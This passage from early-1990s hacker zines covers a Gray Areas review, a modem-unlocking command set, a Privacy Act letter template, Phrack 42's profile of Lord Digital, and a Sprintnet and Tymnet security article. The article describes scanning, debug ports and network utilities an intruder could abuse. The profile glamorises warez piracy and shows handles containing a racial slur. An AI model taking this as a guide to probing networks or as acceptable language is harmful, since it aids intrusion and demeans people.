come up in an interview with John Perry Barlow (one of the original founders of
the Electronic Frontier Foundation) where he discussed the EFF and its role in
defending civil liberties.

No, instead I think it is safe to say that Gray Areas pays a lot of attention
to the Grateful Dead.  Indeed the cover story is titled "Grateful Dead
Unauthorized Videos."  Additionally, there are several other articles
(including the John Barlow interview) that discuss varying aspects about the
Dead's history, their politics, and of course their music.  An advertisement
for the next issue of Gray Areas reveals that even more articles relating to
the Grateful Dead are on the way; so if you are a "Dead Head" you will probably
fall in love with this magazine!

However, the article that I appreciated most was "Zine Scene," a review of 163
alternative newsletters that included such familiar names as 2600, Hack-Tic,
Full Disclosure, and TAP; and others that I intend to take a look at like Iron
Feather's Journal and bOING bOING.  The zines reviewed here covered every topic
imaginable and I thought it was a great buffet for the mind to have such handy
directory (especially since Factsheet Five went defunct about a year ago).

Other interesting articles had to do with video, audio, and software piracy and
reviews of music and software.  I also enjoyed the great artwork found
throughout the magazine in the form of visual aids, comics, and advertisements.

If you are a fan of alternative music or the Grateful Dead, you'll be very
sorry if you don't subscribe immediately.  If you are interested in alternative
publications with more interesting points of view than Time or Newsweek then
you owe it to yourself to at least purchase a copy to check it out.

- - - - - - - - -

All letters sent to Gray Areas are presumed to be for publication unless you
specifically request that they omit your name or refrain from publishing your
comments.  If you are writing about something which could incriminate yourself,
they will protect your identity as a matter of policy.

******************************************************************************

                "Turning your USR Sportster w/ 4.1 roms
                    into a 16.8K HST Dual Standard"

                                   by

                      The Sausage with The Mallet


If you have a USRobotics Sportster FAX modem, Ver 4.1, you can issue
the following commands to it to turn it into an HST 16.8K dual standard.
In effect, you add HST 16.8K to its V32.bis 14.4k capability.

ats11=40v1L3x4&h1&r2&b1e1b1&m4&a3&k3
atgw03c6,22gw05cd,2f
ats14=1s24=150s26=1s32=8s34=0x7&w

A very important item is the b1, which tells the modem to use
the 16.8K HST protocol.  If you do not set b1, when the Sportster
connects with another V32 modem it will go through the CCITT v.32
connect tones and you will not get a 16.8K connect.

If you do get an HST connect, you will not hear the "normal"
train phase--instead you will hear the HST negotiation which
sounds like a 2400 baud carrier.

Finally, if you change the "cd" in the second line to a "cb", your
modem will think it is a V.32 Courier instead of an HST 16.8K.

Look for other pfine pfiles from Rancid Bacon Productions in conjunction
with USDA Grade A Hackers (UGAH.)  Accept no substitutes.

*******************************************************************************

   Request to Post Office on Selling of Personal Information

    In May 1992, the US Postal Service testified before the US House of
 Representatives' Government Operations Subcommittee that National Change of
 Address (NCOA) information filled out by each postal patron who moves and
 files that move with the Post Office to have their mail forwarded is sold to
 direct marketing firms without the person's consent and without informing
 them of the disclosure. These records are then used to target people who
 have recently moved and by private detective agencies to trace people, among
 other uses. There is no way, except by not filling out the NCOA form, to
 prevent this disclosure.

    This letter is to request information on why your personal information
 was disclosed  and what uses are being made of it. Patrons who send in this
 letter are encouraged to also forward it and any replies to their
 Congressional Representative and Senators.


 Eligible requestors: Anyone who has filed a change of address notice with
 the Postal Service within the last five years.



 Records Officer
 US Postal Service
 Washington, DC 20260                        PRIVACY ACT REQUEST


 Dear Sir/Madam:

   This is a request under the Privacy Act of 1974 (5 USC 552a). The Act
 requires the Postal Service, as a government agency, to maintain an
 accounting of the date, nature, and purpose of each disclosure of
 information about individuals. I request a copy of the accounting of all
 disclosures made of address change and mail forwarding information that I provided
 to the Postal Service. This information is maintained in USPS System of
 Records 010.010.

   On or about (date), I filed a change of address notice requesting that my
 mail be forwarded from (old address) to (new address). The name that I used
 on the change of address form was (name).

   This request includes the accounting of all disclosures made by the Postal
 Service, its contractors, and its licensees.

   I am making this request because I object to the Postal Service's policy of
 disclosing this information without giving individuals an option to prevent
 release of this information. I want to learn how my information has been
 disclosed and what uses have been made of it. Please let the Postmaster
 General know that postal patrons want to have a choice in how change of
 address information is used.

   If there is a fee in excess of $5 for this information, please notify me in
 advance. Thank you for consideration of this request.


 Sincerely,



 CC: Your Congressional Representative
     US House of Representatives
     Washington, DC 20510

     Your Senators
     US Senate
     Washington, DC 20515

-------------------------------------------------------------------------------


                                =Phrack Magazine=

                  Volume Four, Issue Forty Two, Phile 3 of 14

                              ==Phrack Pro-Phile==

_______________________________________________________________________________

     Phrack Pro-Phile was created to provide info to you, the users, about old
or highly important/controversial people.  This month, we introduce you
to an individual who has survived the underground for far too long,
the creator of Phantom Access and one of the co-sysops of Mindvox...

                                  Lord Digital
                                  ~~~~~~~~~~~~
_______________________________________________________________________________

 Personal
 ~~~~~~~~
             Handle:  Lord Digital (for like.... fuck I'm old, 13 years now)
           Call him:  Patrick K. Kroupa
       Past handles:  M000hahahahahahahah!  You're kidding right?
      Handle origin:  It was given to me by this ancient wise man drinking
                      cheap Absolut by the side of the road...
      Date of Birth:  01/20/68
Age at current date:  24
             Height:  6'2"
             Weight:  185
          Eye color:  Green
         Hair Color:  Blonde/brunette/black (subject to change)
           Computer:  Apple ][+, Amiga 1000, Mac Plus (All in storage)
                      Apple //e, Amiga 500, NeXT, Various Suns (Not in storage)
  Sysop/Co-Sysop of:  MindVox ELItE!@#!!!@#!
        Net address:  [e-mail]
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

     If you look beneath the shiny surface of most things, and gaze way-way-way
deep down into the murky black festering heart of the human evolutionary
process, you are ultimately confronted with the revelation that has stood, nay,
LEAPT UP before the ancients since before the days of Atlantis:  Life is a lot
like NeW WaReZ.

     Anybody who tried to tell you something different, is obviously selling
you something.

     All things in this universe -- and many others -- can be attributed to New
WareZ.  The ebb and flow of WareZ is what keeps the very COSMOS from bursting
apart at the seams.  During periods of time when the flow of WareZ slows to a
trickle, times are tough, there is war, pestilence, death, disease, and many
rAg PhIleZ.  d()oDZ who were happily playing Ultima XXII Quest For Cash, are
soon busily hurling insults at each other and dialing the Secret Service.  Life
is grim, there is a bleak sense of desolation and emptiness . . . for when the
WareZ slow down . . . there is little left to live for and you begin to enter
withdrawal.  An ugly process that, thus far, has only been combatted
successfully by Wally Hills NeW WhErEZ Treatment center, where they slowly ween
you off the addiction of WareZ and introduce you to the REAL WORLD where you
can do things like smoke crack and play in a band.

     On the flipside, when there is a good steady flow of WaReZ, the universe
hums to itself in happiness and all wrongs are righted, perspectives
re-adjusted, and peace, love, and happiness spread throughout the land as the
COSMOS re-aligns itself and perfection sweeps the world.  This is a heady time,
but one that is sure to be brief, for before you know it some evil glimmer of
BADNESS will rise up and somebody will DOUBLE-RELEASE someone else, or a Ware
will CRASH when it tries to load . . . and then it's just all over.

     A long time ago in a galaxy far, far away . . . I was a founding member of
the Knights Of MysterIous keYboArdZ and the Ko0l/Ra{> alliance.  At present I
am President/Ce0 and Chairman of the b0red at Phantom Access
Technologies/Coleco ADAM design Studios, Inc.

     At the moment our group is working on a multi-tasking, multi-user,
CyberSpace environment where the participants can take part in a shared reality
that is based upon a cross-relational structure comprised of lots of 0's and
1's all strung together in big twisty chains and kept track of by an
Objective-COBOL X/Motif GUI sitting on an SQL dialed into the POWER COMPUTER in
Utah, at infinite baud (not to be confused with bps).

     In the near future I .plan to move to Pigs Knuckle Idaho and cross-breed
weasels with ferrets, while devoting the rest of my life to watching daytime
TV.

     It's just that type of thing.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Reality Break
~~~~~~~~~~~~~

     It is very difficult, bordering on impossible, for me to remain serious
for longer than about 45 seconds, when discussing the "underground" and what it
was all about.

     I rarely bother to mediate or water-down most of my opinions, and there
are a lotta places out there in the real world, where anyone who cares can
readily access whatever I have to say.  There isn't a great deal left for me to
convey to anybody regarding my perceptions of the hack/phreak world's history
and what it has meant, and shall mean, in the cosmic scheme of things.

     The first time I came into direct contact with computers was during the
mid-late 70's.  I was around 6 or 7 and my father worked at NCAR during this
period of time, which is a futuristic looking series of buildings in Boulder
Colorado.  This one time I came in, there were all these weird cars driving
around in the parking lot, and since there were frequently a lotta strange
things moving around there, I never understood until much later that Woody
Allen was filming SLEEPER when this was going on.  On the same day, I was shown
some of the computer rooms, which had just taken shipment on one of the first
Crays to go out the door.  This left an impression.  It was neato . . .

     One thing led to another.  I played around with various things, mainly the
really old Commodore PET systems and a slew of heavy metal junk from IBM, until
I got an Apple ][+ in 1978.  I hung out with a group of people who were also
starting to get into computers, most of them comprising the main attendees of
the soon-to-be-defunct TAP meetings in NYC, a pretty eclectic collection of
dudes who have long since gone their separate ways to meet with whatever
destinies life had in store for them.  Around 1980 there was an Apple Fest that
we went to, and found even more people with Apples and, from this, formed the
Apple Mafia, which was, in our minds, really cool sounding and actually became
the first WAreZ gRoUP to exist for the Apple ][.

     Time passed, I picked up more hardware, went on the quest to assemble the
perfect Apple-Cat system -- consisting of the Cat, 212 card, BSR, firmware,
tone decoder chip, and all the m0dZ NOVATION eventually made to the boardZ --
and ultimately ended up with 3 of 'em, one of which still works (like wow).
This led to the first generation of Phantom Access programs which started to
seep into the moDeM WeRlD around 1983, with the final revisions being let loose
in 1987 or 1988, under the auspices of Dead Lord.  By this time I had long
since stopped working on them and had relatively little to do with their forms
of release.

     Over the years I've been in a seemingly-endless succession of groups and
gatherings under nearly 50 different pseudonyms which were frequently invented
and dropped, all around that one specific timeslice and reference-point.  There
were only two that I was ever "serious" about, which is to say I entered into
them honestly believing the ideals and reasons for the group's inception, to be
valid and worth upholding and being a part of.  In other words I was in my
mid-teens and my attitude wasn't one of "Yeah yeah, take 10; a buncha dudes are
gonna screw around, some of it will be fun, some of it will be silly, and a lot
of it will be bitchy and cranky, but hey, I'm only here to amuse myself, so
what the fuck . . ."  The two "serious" affiliations were Apple Mafia and the
Knights of Shadow.  KOS ceased to exist in mid-1984 and I dropped out of the AM
around 1985, although to my knowledge it kept going until '86 or '87 when the
last surviving members found better things to do with their time.  In 1987 I
was also "OfFphICiALlLY" inducted into the Fraternal Order of the Legion of
Doom, which was just gosh w0wz0.  Actually, it's much more fun in retrospect,
since most of us are pretty good friends at this point in time, which seemed an
unlikely event back in the early 80's <giGgLE!!@#>

     I ceased to be "active" sometime around 1985, having gained legal access
to almost anything I could possibly want to play with, as well as having made
friends with people working for NYNEX who de-mystified many things for me.  The
ultimate conclusion to all of this was that having THE POWER is cool -- and
using it to annoy people was absolutely hilarious -- but only led to two
possible destinations.

     You use it all as a learning experience and "grow up" realizing that
you're playing cops and robbers, and many of the things you have spent years
doing are now illegal and liable to get you into a lot of trouble.  You can't
go back in time (at least not yet).

     You could keep doing stupid things and end up in a legal dilemma over
something that isn't very important.  Because . . . it really isn't "THE
POWER," it's just a very limited form of "it" embodied by a phone system and
some computers.  And when you compare that to a piece of art, or a collection
of music, or a new series of programs that someone has created, you begin to
realize that all you're doing is fucking with things that other people made,
and you're wasting your time abusing . . .

     To cut short my rant, I have no moral judgements to pass upon anyone or
anything, because whatever it is that people do, it's some sort of learning
process leading towards their destination (whether they realize it or not).
The computer underground is just not a place where you can remain "active"
beyond a certain period of time that serves as a sort of "rite of passage"
towards that something else.  To hang around indefinitely and remain "active"
is to become a criminal.

     Almost everything I've done has taken place with a handful of friends who
played various roles in events that transpired -- primary among them Dead Lord
(Bruce Fancher), one of my closest friends for the better part of a decade, as
well as The Unspeakable One whose name cannot be mentioned for to do so causes
rifts within space/time, and a buncha dudes from NYC/NJ who for the most part
want to blip their personas off the face of Cyberspace and get on with their
lives without the specter of LaW EnForCEmEnT hanging over them for doing silly
things as teenagers.

     In 1986 I ceased calling anything and didn't access a computer that was
hooked into a modem until late 1990.  As of late 1992, I have been "retired"
for a little over 7 years.


Patrick's Favorite Things
~~~~~~~~~~~~~~~~~~~~~~~~~
      Women:  Delia!  Gorgeous, Intelligent, Wonderful, & able to deal with me.
        Men:  Bwooooce.
       Cars:  928s4, Hyundai, Edsel.
      Foods:  Italian, red meat, SuPeR Hi PER Pr0tE!n, anything with SPAM.
      Music:  Any band with the word "LORD" in it (Lords of the New Church,
              House of Lords, Lords of Acid, Lords of Chaos, Traci Lords).
    Authors:  Michael Moorcock, Sun Tzu, Machiavelli, Hans Horbiger, Dr. Seuss.
      Books:  Play of Consciousness, The Book of PAT.
 Performers:  Bill the Cat, Sting, Perry Farrell, GuNz N RoSeZ, plus anybody
              who has sold out to the mahnnnnnn fo' $$$$$$$ in a biiiiiig way.


Most Memorable Experiences
~~~~~~~~~~~~~~~~~~~~~~~~~~
     Most memorable things are unmentionable and destined to stay that way for
a while.  Those who played the games know the stories; those who didn't
eventually will -- but like, who cares.  Everybody should live their own
stories, life's an interesting game . . . go play.


Some People to Mention
~~~~~~~~~~~~~~~~~~~~~~
Dead Lord         - The one who is not and can never be, yet exists.  Solely an
                    infinite layering of the possibilities inherent within
                    personal transmigration and biotechnology?  Or alive, with
                    flesh, blood, bone and an adornment of k0dEz & warEZ?  You
                    must not be blinded by sight, nor fooled by what things
                    appear to be when they are not, for what is a man when he
                    has not the latest, nor possesses the abilities to acquire
                    same?  This is a question perhaps best left to the wise men
                    who roam the meadows of the ozone, forever catching the
                    edge and surfing the waves cresting upon the seas of
                    thought and what is, was, and shall always be.

The               - I know who you are, so tell me who I am, and let's just
   Unspeakable      get on with it okay?  Because otherwise, TV is likely to
              One   drop the entire facility dead.  Anyone of normal caliber
                    can see that to be entirely obvious to thee of the id'ness
                    of pole-cats watching Star Wars.  8+ KlUb ElYtE.

Terminus          - A good friend over many years who, as most people know, has
                    recently gone through a lot.  The future looks bright, and
                    I look forward to looking back on all this with you in
                    another ten years.  [Look, look, looking] (haga!)

Magnetic Surfer   - Neato guy who knew me way-back-when, and used to give me
                    gNu Apple wArEz on cassette tape which he had downloaded at
                    the lightning speed of 300 baud.  Also provided a means to
                    meeting many of my friends, via Sherwood Forest, when it
                    first existed and hosted Inner Circle and later KOS.

The Phantom      - See above, also gave me a full set of TAP copies in 1983,
                   which I never returned to him.

The Plague        - A cool guy, close friend before his fatal accident when
                    the truck went off the road near Poker Flats, just 5 miles
                    north of Pig's Knuckle, ID.  Tragic, hope he's happy in
                    his new home, far, far underground, running the world's
                    first afterlife/subterranean BBS.

ApPul HeyD! \       The elYtE peARz of Scepter/InterCHAT who went on to form
SuperNigger  >    - DPAK, an entity SO ELITE that it required FOUR letters for
Sharp Rem0b /       its acronym & brought the world Lex Luthor on HBO!

SuperNigger       - Because he is 2 elyTe to be encompassed in merely one
                    line and requires at least two.

Lord_foul         - Ahhhh do0d....  Well we all have our roles 2 play.  Catch
                    ya in tha outback.  (cha mod pla foul sl=999 mi=99,mh=99)

Ninja NYC         - One of the few people I have ever met who seems to have
                    mastered the art of being happy wherever he is, doing
                    whatever he happens to be doing.  An exceptionally nice
                    human being.

Elven Wizard  \     A collection of compatriots, cohorts, and all around dudEz
The Infiltrator\    with whom I had an inordinate amount of fun, first ro0l!ng
The Gunslinger  > - the WhEReZ world, then changing our handles (well except
The Bishop     /    for Jeff) & dismantling eliteness and its tarnished allure,
The Gonif     /     along with its cadre of false prophets (namely ourselves
                    under half a dozen other handles).

Andrew \            "I doan' wannnnnnnnnt any money, I want to be left alone,
Chase   >         - tell them to go 'way."  May Sutekh look upon our worldly
Asif   /            endeavors and bless us all, everyone.  !nse<t01dZ ro()l!!@

Paul Muad'Dib     - A lotta fun, although he never did have any new wares
                    (unless you count source code).  In any case, I guess it's
                    not too relative any more.

Tuc               - I think it's a requirement to mention Scott; far be it from
                    me to break with tradition.  Hi Tuc!  Thanks for the ride!

Captain Avatar    - He had 'em Ahllll!  ALL of them... MORE THAN all of 'em....

Napoleon Bonaparte- Nappy ran Securityland.  I called it, it was cool.  It made
                    me smile.  I guess it made the FBI smile too.

Mr. Xerox         - Mike was usually witty, sarcastic, annoying, egotistical,
                    obnoxious, and almost always late.  We got along great
                    and I really miss the guy sometimes.  Hullo Mike, wherever
                    you may roam.

Taran King        - BesideZ DeYd L0rD & Sn, the El1teZt Pers0[\] eYe EveR meT!
                    StaY sP!fpHY [>o()d!

Phantom Phreaker  - Here's to shifting focus and finding something far more
                    interesting to play with than phones & computers 8-).  It's
                    an amazing universe, huh . . .

Lex Luthor        - After a ten year period during which we typed to each other
                    once in a while and seemed situated at antipodean sides of
                    the m0dUm Yo0n!veRsE, I finally met with Lex in the very
                    near past.  It's shocking to find that he's actually one of
                    the most gracious, funny, and pleasant guys I've ever had
                    an opportunity to meet.  Best wishes in whatever you may
                    end up doing!

Erik Bloodaxe     - A keg of Sandoz, a Vat of pig's blood, T&C and thee.

Sigmund!@31!@!!!  - As the UFOs said, they know who you are, they know where
                    you are.  Seriously, hey, it was entertaining.  Good luck
                    man.


unReAl PeOpUL 2 MenShun
~~~~~~~~~~~~~~~~~~~~~~~
StJude  -  For everything.  It's good to know you . . . love, light, and a
           lotta deep-fried giri with ciphers thrown in.

Siva    -  Look, polygons or voxels, Gibsonian or Post-modern, by Risc or by
           Cisc with Objective C++ running Smalltalk under Windows NT over the
           underpass and around the bend; it's gonna happen, and we're gonna be
           there having a party.  Smile, as I think you've mentioned on more
           than one occasion; it's an interesting time to be alive 8-).

Bruce   -  Quite possibly the coolest grown-up I have ever met 8-).  Which is
Sterling   saying a lot.  The world would be a much better place if Bruce
           could be cloned and then placed inside a tornado, hooked into a
           net, fitted with an adamantium exoskeleton, and then dropped into
           the de-criminalized zone with a BigMac and a holographic tape
           recorder.

Jim     -  Hey so, are you doing more things at once or am I?  I bet I can
Thomas     watch TV, listen to music, have three phone conversations, and
           write an article with 25% greater coherence than Chuck has while
           eating and watching TV.  On the other hand, writing two books,
           teaching, reading, running CUD, having a life, and still finding
           time to hang out are at least level 15 -- haven't hit that yet,
           but I'm working on it!

Andy    -  Hey man.  I enjoy what you're doing, keep the faith, ignore the
Hawks      assholes, take inspiration from the inspired, and retain belief
           in your dreams.  Oh okay, gotta go, time to sell out, ignore what I
           just said 8-).

3Jane   -  Models/actresses/sex cadets united for a better tomorrow, under
           Unix with named_pipes and justice for some of us.


Memorable Phreak/Hack BBSes
~~~~~~~~~~~~~~~~~~~~~~~~~~~
8BBS - Long ago, I didn't understand it, or what I was typing, but it was fun.
MOM - Long ago, although by now I did understand it and had slightly less fun.
Pirate's Harbor - Before Norman figured out he could make a killing on TIMECOR.
Pirate's Chest - 6 line 80 meg board circa 1983.  Totally Cool.
Adventurer's Tavern - Last bastion of tremendous on-line fun & anarchy.  RIP.
Securityland - Nappy's Board.
Pirate's Phunhouse -> Cat's Cavern - The Tempest's system(s).
Dark Side of the Moon - Through many long and strange phases.  Still running.
RACS III - w()wZ0 blargel blumpfk0l SwillY sw()nk!@!#!@!!!!!
OSUNY (3 cycles) - Some more fun than others.
Sherwood Forest I, II, III - Liked all three, although 1 was the coolest.
Plovernet - Two phases.  Both great.
The (urse - WarEZ do()d & eLIteNEsS Galore!@#!@#!@#!@#
LOD - The Start in 1984, and intermittently thereafter.
COPS - Cool Florida board.
Shadowland - Cool Colorado board.
SpecELITE - So overwhelmingly awful, that it was wonderfully fun.
WOPR - Lotta fun for a while, then he threw everyone off & went 1200only wareZ.
Pirate-80 - It was very effervescent with a touch of jello.
Everything Sir Knight ever ran - Too many names (Tele-Apa, HackNet, NewsNet...)
World of Cryton - WOC!  JAMES!  ELITENESS!
The Safehouse - Apple Bandit's.  Hey, I want my Diskfer ][ dude!
Farmers of Doom - Blo0p.
Pirates of Puget Sound - Nice softwareZ.  Lotta fun.


A few things Lord Digital would like to say:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
BELIEVE EVERYTHING THAT YOU HEAR.  KNOW EVERYTHING YOU SEE. UNDERSTAND
EVERYTHING YOU DO NOT COMPREHEND.  BE AT ONE WITH THE STILLNESS OF THE
REVOLVING HAMSTER WHEEL AND FLOSS BETWEEN MEALS.

As far as the future of the hack/phreak world and telecommunications in general
is concerned, the PhrAck World is absolutely spiffy and I believe that ISDN
will change EVERYTHING and make it rounder, taller, bigger, more stable, and
also give later generations something to look back upon and sneer at with
contempt.
                         ==Phrack Magazine==

             Volume Four, Issue Forty-Two, File 4 of 14

                          Prelude to a Kiss

    - Lessons Unlearned Are Doomed To Bring Misery Ad-Infinitum -


The following is an article I wrote for a mainstream computer security
periodical called ISPNews.  At the time, I had been discussing the idea
of a bi-monthly column with the editor at that time, Len Spitz. (Now the
editor is Michael Alexander, ex-of Computerworld)

The following article, although very, very tame by my standards, and
admittedly lacking in enough hardcore information to help security
professionals to apply a quick fix to their many problems, caused quite
a stir among the folks at ISPNews.

Since this article was from me, a self-proclaimed hacker, it
underwent an extraordinary amount of scrutiny.  Rather than be
accepted or denied by the editor, my article got the dubious honor of
being sent before an editorial advisory board.  I checked every back
issue of ISPNews and could find no mention of such an entity until the
November/December 1991 issue, the issue immediately following an length
interview with none other than myself.

When I questioned Len Spitz about this rather odd fact, he maintained
that this committee had indeed existed, but stammered his way through my
question to name any other article that they had convened to judge in
the past, and to explain the duties of such a group.  He could not give
me any answers.

The group itself was obviously geared to be a type of kangaroo-court.
It consisted of:

William J. Cook -- The man who less than two years prior had ordered my
                   privacy and civil rights violated by the Secret
                   Service solely on the basis of two bulletin board
                   posts and my association with members of the Legion
                   of Doom and the Phrack Magazine staff.

William H. Murray -- A senior consultant with Deloitte & Touche who had
                     two weeks prior stood up before my presentation to
                     the MIS Training Institute's 11th Annual Conference
                     and said loudly "I can't take this any more, I'm leaving,"
                     to the astounded audience.  The man who went on to
                     state in his own column in ISPNews, "Can we lie
                     down with dogs and get up without fleas?"  and "Ask
                     yourself if you wish to work in a profession
                     populated by rogues.  Ask yourself if you want your
                     reputation mixed with theirs."

Winn Schwartau -- A security consultant with a broad view and an open
                  mind, undoubtedly resulting from his background in the
                  music industry, as opposed to the bean-counting world
                  of MIS.

David J. Stang -- Director of research, NCSA.  Noted virus specialist.

This was the group.  Here is what they said about my article:

Bill Cook --  "It's very well-written and informative, but shouldn't be
published for legal reasons."  (What those reasons might have been were
not stated, nor did Mr. Cook return my call to his office.)

Bill Murray -- Was not even given the file to read, as his response was
deemed to predictable.

Winn Schwartau -- "Publish it.  This is valuable information."

David Stang -- Was not given the file because, according to Len Spitz
"David is just a virus expert, and this isn't in his arena, so we gave
it to Ray Kaplan."

    Ray Kaplan -- Did not want to comment on it because he said, "It's
    not my expertise, so I gave it to a friend."  I believe Ray did not
    want to get involved with anything having to do with hackers after
    the reactionary attitudes of the DECUS attendees towards his defense
    of Kevin Mitnik that nearly left him in bankruptcy.  I cannot blame
    him at all.  (Hell, I like the guy...he's certainly more brazen with
    attitude these days, I mean, he went to HoHoCon for God's-sake!)

      Ray's Friend -- "This is of absolutely no use to the information
      security professional, but of great use to the hacker community."
      I still do not know who Ray's "friend" was.  I hope his
      Alzeheimer's has subsided since this comment.

Needless to say, the article went unpublished.

Shortly thereafter I received a letter from Robert Fox, an assistant
vice-president at Sprint.  Somehow my little article had snaked its
way over to Kansas City.  It's amazing how one faxed copy of an article
could have reached so many people in such a short period of time.
Mr. Fox had the following to say:

------------------------------------------------------------------------

United Telecom/US Sprint
9221 Ward Parkway
Kansas City, Missouri 64114
816-822-6262

Robert F. Fox                                     January 13, 1992
Assistant Vice President
Corporate Security


VIA AIRBORNE EXPRESS

Mr. Chris Goggans
COMSEC
Suite 1470
7322 Southwest Freeway
Houston, TX 77074

    Re:  Your Article "Packet-switched Networks
          Security Begins With Configuration"

Dear Mr. Goggans:

    A copy of the referenced unpublished article, which is
enclosed with this letter, has come to our attention.  After
review, we believe the article is inaccurate and libelous.  If
published the contents of the article could cause damage to Sprint
customers, Sprint and our reputation, and we request that you not
publish or otherwise disseminate it.

     In addition, we believe some of the information contained in
the article has been obtained through violation of the property
rights of Sprint and/or our customers and we demand that you cease
any efforts or attempts to violate or otherwise compromise our
property whether or not for you personal financial gain.

                        Sincerely,

                        Robert F. Fox


Enclosure


------------------------------------------------------------------------


Regardless of how Mr. Fox came into possession of this article, i have to
question his letter based on his comments.   First he states that
the information is almost criminally incorrect and could cause harm to
Sprint's reputation.  Then he states that information in the article has
come to be known through the violation of the security of Sprintnet and/or
clients of Sprintnet.  In effect, I am both a thief and a liar according
to Mr. Fox.  Well, if I were a thief the information could not possibly
be inaccurate if it were obtained from Sprintnet or its clients.  If I
was a liar, why would they think the information came from themselves
and/or their clients?  Mr. Fox's thinly veiled threat caused me great
amusement.

I then decided no mainstream publication would touch this article.  I
don't know why everyone is so scared of the truth.  Perhaps if the truth
were known people would have to work, and perhaps if the truth were
known some people would be out of work.  None of this is of concern to
me anymore.  I am here to speak the truth and to provide uncensored
information gathered from a variety of sources to provide readers of
this magazine the facts they need to quench their thirst for knowledge.

This article is included as a prelude to a series of articles all based
on packet switched networks as related to information merely alluded to
in my harmless little article.  To our readers, "enjoy."  To the cowering
so-called security experts, "kiss my ass."

------------------------------------------------------------------------

Packet-switched Networks

Security Begins with Configuration


For many companies the use of packet-switched networks has
allowed for increased interconnectivity of systems and easy
remote access.  Connection to a major public packet-switched
network brings increased access points with local dialups in
many cities around the nation as well as access
points from foreign countries.

With the many obvious benefits provided by this service,
improper configuration of either the host's connection to the
network or of the network itself can lead to extreme security
problems.

The very connection to a public packet-switched network
immediately increases the exposure of that particular system.
America's two major commercial networks, BT-Tymnet and
Sprintnet, are probably the most popular US targets for hackers
around the world.  The wealth of systems available on
these two networks has provided hackers with a seemly endless
supply of sites on which to sharpen their skills.  The ease of use
inherent in both networks makes them popular for legitimate
users as well as illegitimate users.

The Telenet software utilized in the Sprintnet network allows
users to enter a network user address (NUA) in the standard
format as outlined in the X.121 numbering standard:

DDDDAAAHHHHHPP

Where D = the four digit data network identifier code (DNIC)
      A = the three digit area code corresponding to the host
      H = the host address
      P = the port or (sub) address

On domestic calls the DNIC for Sprintnet (3110) is stored in
all Sprintnet equipment and is used as the default.  By
merely picking an area code, most often corresponding to the standard
area codes of the North American Numbering Plan, and an
additional one to five digits a would-be intruder can
connect to any number of systems while looking for targets.

In the past many software packages have been written to
automate this process, and large scans of the network have
been published in a variety of underground media.

The Tymnet II software utilized in BT's Tymnet
prompts the user for a mnemonic which corresponds to a host
or number of hosts.  The mnemonic, or username, is referenced
to a fixed host address in the network's Master User
Directory (MUD).  This username may allow the caller to
connect to a variety of sites, as opposed to merely one, by
entering additional information in separate fields after the username.
It may also correspond to a network gateway thereby allowing
the user to enter a number in the X.121 format and connect to that
specific site.

This particular network, with its primary use of words as
opposed to numbers, has been compromised by intruders who
guess common words or names in their attempts to connect to
remote sites.

Each network has its own particular set of problems but
solutions to these problems are both simple and quick in
implementation.

SPRINTNET

The first deterrence in securing a host on this
network is to restrict access to the site.  This can be
accomplished in a number of ways.  The most obvious is to
have the site refuse collect calls.  All calls on Sprintnet
are reverse-billed, unless the site has specifically asked
that they not be billed for incoming calls.  This makes the
site accessible only through the use of a Network User
Identifier (NUI).

Another method of restricting access from intruders is to
place the host in a closed user group (CUG).  By electing to
have the host in a CUG, the administrator can allow only
certain NUIs to connect, and can also restrict the actual
addresses from which access is allowed.  For example:  A site
is placed in a CUG that will allow only calls from the
company's remote branch in Dallas to access the host and only
with the NUI created specifically for that branch.  All
attempts to access the site from an address outside the 214
area will result in an error message indicating an invalid
source address.  All attempts to connect with an invalid NUI
will result in an error indicating an invalid ID.  This
information is maintained in the networks main TAMS (TP
Access Management System) database, and is not subject to
manipulation under normal circumstances.

Many sites on the Sprintnet network have specific
subaddresses connecting to a debug port.  This is usually at
subaddress 99.  All connections to debug ports should be
restricted.  Allowing users access to this port will allow
them the ability to load and display memory registers of the
Sprintnet equipment connected to the port, and even reset
as well as enable or disable the host.  Most debug ports are
equipped with preset passwords from the vendor, but should be
changed.  These ports should also restrict connection from
all addresses except those specified by the company.

An additional measure that may foil intruders relying on
software programs to find all addresses in a given area code
is to request that the host be given an address above 10000.
The time involved in scanning the network is extensive and
most casual intruders will not look past the 10000 range.  In
fact, many will not venture past 2000.

BT-TYMNET

Any company having a host on the Tymnet network should choose
a username that is not easily associated with the company or
one that is not a common word or name.  If an intruder is aware that
XYZ Inc. has a UNIX based system on TYMNET he or she would
begin attempts to find this system with the obvious
usernames:  XYZ, XYZINC, XYZNET, XYZ1, XYZUNIX, UNIX, etc.

BT-Tymnet allows for these usernames to have additional
password security as well.  All hosts should have this option
enabled, and passwords should be changed frequently.
The password should always be a minimum of six
digits, should include letters, numbers and at least one symbol
character, and should not be associated in any way with the
corresponding username.

Many clients of BT-Tymnet have purchased the Tymnet II
software and have individual sub-networks that are linked to
the public network through gateways.  Each subnet is
personally configured and maintained through the use of a
package of utilities provided by Tymnet.  These utilities
each perform a specific task and are highly important to the
smooth operation of the network.  These utilities may be
accessed either directly from the host-end or remotely
through the network by entering a corresponding username.
Some of these utilities are:

XRAY : a monitoring utility
DDT : a debugging utility
NETVAL : a database of username to host correspondence
PROBE : a monitoring utility
TMCS : a monitoring utility

Under NO CIRCUMSTANCES should these utilities be left
without a password on the company's subnet.  These utilities should
also never be named similarly to their given name.  Should an
intruder gain access to any of these utilities the integrity
of your network will be at risk.

For example:

Allowing an outsider access to the XRAY utility, would give
he or she the ability to monitor both incoming and outgoing
data from the host using the "TA" command (display trace data
table in ASCII).  Use of certain XRAY commands are restricted
by a security function that allows only certain usernames to
execute commands on the basis of their existence in a
"Goodguy" list, which can be displayed by any XRAY user.
Should a user be of the highest privilege, (2), he or she can
add or delete from the "Goodguy" list, reset connections, and
display trace data on channels other than the default
channel.

Allowing a user access to DDT can result in complete
disruption of the network.  DDT allows the user the ability
to write directly to the network controller "node code" and
alter its configuration.

Allowing a user access to NETVAL will allow the user to
display all usernames active on the network and the
corresponding host addresses.

OTHER PROBLEMS

EXAMPLE ONE

On many networks users have the ability to connect to the
packet assembler/disassembler (PAD) of the network dial-ups.
This has led to significant problems in the past.

In the mid-1980's two American hackers were exploring the
German packet network DATEX-P.  One connected to a host in
Berlin and was immediately disconnected by the remote site.
Before the hacker could react, the German host connected to
